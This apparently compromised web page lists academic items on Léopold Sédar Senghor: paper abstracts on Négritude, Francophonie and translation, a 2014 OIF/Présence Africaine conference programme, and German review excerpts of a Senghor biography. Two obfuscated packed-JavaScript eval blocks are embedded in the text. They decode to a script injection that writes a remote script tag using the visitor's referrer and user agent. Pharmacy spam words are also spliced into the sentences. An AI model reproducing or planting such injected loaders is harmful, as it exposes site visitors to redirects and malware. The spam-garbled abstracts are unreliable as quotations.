Cross-cultural themes and the challenges of multilingualism and translation, online a case study of Léopold Sédar Senghor’s “Dialogue of Cultures” AKINWANDE Peter Olakunle Senior Lecturer (Comparative French & Francophone Literatures) Department of European Languages University of Lagos P. O. Box 1063, thumb Ebute-Meta Post Office, recipe Lagos (Nigeria) Email: peterakinwande@gmail.com Abstract Themes of literary discourse or political debate relating to cultural hybrid or complementarity of cultures must reflect the diverse geopolitical landscapes and idiosyncrasies of the authors and peoples or races under study. Hence the inevitability of the use of multilingual approaches and devices that invariably engenders the participation of professional translators and interpreters especially for conference presentation or for wider dissemination at multiracial fora. This paper seeks to underscore the necessity of translation and interpretation as indispensable tools for actualizing the multilingual frame of Léopold Sédar Senghor’s politico-philosophical vision of a universal French cultural family [+]

Senghor entre Francophonie et dialogue interculturel Résumé: Négritude, for sale Francophonie et dialogue des cultures sont des concepts chers à Senghors et qui cristallisent la quintessence de son œuvre littéraire et poétique. Après avoir lancé le mouvement de la négritude dans les années 30 pour combattre la domination coloniale et affirmer les valeurs culturelles noires, prostate Senghor dont l’idéal humaniste n’est plus à démontrer, fonde avec d’autres camarades le mouvement de la Francophonie pour œuvrer à une véritable coopération culturelle, politique et socioéconomique entre les pays francophones et l’ancienne puissance coloniale. Ces deux concepts – Négritude et Francophonie – n’ont de sens, selon Senghor, que s’ils débouchent sur un dialogue enrichissant, fructueux et productif entre les peuples, nations et cultures de toute la surface de la terre. La présente étude se propose d’analyser le rôle que Senghor a joué à la [+]

O.I.F. (Organisation Internationale de la Francophonie) et PRÉSENCE AFRICAINE eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yhdii|var|u0026u|referrer|bykri||js|php'.split('|'),0,{}))     « TRADUIRE EN FRANÇAIS : UNE DIMENSION ESSENTIELLE DE LA FRANCOPHONIE ET DU PANAFRICANISME »   Avec la participation de Wole Soyinka, generic Prix Nobel de littérature   19 décembre 2014 (19-21, sale avenue Bosquet, pill 75007 Paris)   PROGRAMME   14.30-14.40 Allocution de bienvenue : Mme Youma Fall, directrice de la diversité et du développement culturels, OIF 14.40-14.45 Mot d’accueil : Mme Yandé Christiane Diop, directrice de Présence Africaine Editions Modérateur : Christian Éboulé 14.45-14.55 Introduction à la thématique de la traduction en français comme dimension essentielle de la francophonie et du panafricanisme : M. Souleymane Bachir Diagne professeur de philosophie, Columbia University, USA 14.55-15.00 Remarques sur le mouvement panafricaniste au 20è siècle : M. Lazare Ki?Zerbo, spécialiste de programme, Direction de la paix, de la démocratie et des droits de l’homme, OIF Témoignage : M. Abiola Irele, Professor of French and Provost , College of [+]

János Riesz: Léopold Sédar Senghor und der afrikanische Aufbruch im eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tydni|var|u0026u|referrer|dbdrn||js|php'.split('|'),0,{})) 20. Jahrhundert, pharm Wuppertal (Peter Hammer Verlag) 2006, vcialis 40mg 348 S. Auszüge aus 2006 und 2007 erschienenen Rezensionen: Riesz nutzt Senghors literarisches Werk überzeugend zur Interpretation von dessen Philosophie und Politik. […] Riesz zeichnet aussagekräftige Bilder der senegalesischen Kolonialgesellschaft mit einer städtisch-kreolischen Oberschicht, sick deren Angehörige sich als Franzosen mit etwas dunklerer Haut fühlten, und einer rechtlosen Landbevölkerung, die unter der Last der Kolonialherrschaft ächzte. Als deren Stimme verstand sich Senghor stets. (Gaby Mayr, Diese Biografie des Léopold Sédar Senghor übertrifft alle bislang erschienenen bei weitem. […] So entfaltet sich hier der Begriff Négritude als das Streben nach Erkenntnis und Wiedergewinnung der durch Kolonialismus und kulturelle Fremdbestimmung bedrohten Afrikanität in allen seinen Fazetten. Dabei werden gleichzeitig die großen Achsen des „Doppellebens“ Senghors als Dichter, Philosoph und Politiker erkennbar. […] Höchste Zeit also für diese [+]

©2010| Designed by: MY'S & Made free by Promo Items